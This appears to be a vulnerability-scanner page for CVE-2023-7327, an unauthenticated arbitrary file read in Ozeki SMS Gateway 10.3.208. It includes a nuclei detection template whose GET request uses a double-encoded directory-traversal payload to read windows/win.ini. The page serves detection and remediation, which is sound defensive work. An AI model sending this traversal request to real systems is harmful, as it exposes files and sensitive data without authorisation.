Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read

highseverity

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

An arbitrary file read vulnerability, also known as a "path traversal" or "directory traversal" vulnerability, occurs when an attacker is able to access files on a system that they shouldn't have access to. This vulnerability arises from improper input validation or insufficient access controls in an application.

Impact

Unauthenticated attackers can read arbitrary files, leading to sensitive information disclosure.

Fix

Update to the latest version of Ozeki SMS Gateway.

How to confirm it

Send: GET {{BaseURL}}/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini
Positive when: status_code == 200 and contains(content_type, "application/octet-stream") && contains(body, "Mail") && contains(body, "files")

Run it with nuclei: nuclei -id CVE-2023-7327 -u <target>

The full check

id: CVE-2023-7327

info:
  name: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read
  author: r3Y3r53
  severity: high
  description: |
    An arbitrary file read vulnerability, also known as a "path traversal" or "directory traversal" vulnerability, occurs when an attacker is able to access files on a system that they shouldn't have access to. This vulnerability arises from improper input validation or insufficient access controls in an application.
  impact: |
    Unauthenticated attackers can read arbitrary files, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version of Ozeki SMS Gateway.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7327
    - https://www.exploit-db.com/exploits/51646
    - https://ozeki-sms-gateway.com/attachments/702/installwindows_1689352737_OzekiSMSGateway_10.3.208.zip
  classification:
    cve-id: CVE-2023-7327
    epss-score: 0.02243
    epss-percentile: 0.83002
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,ozeki,lfi,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/octet-stream") && contains(body, "Mail") && contains(body, "files")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from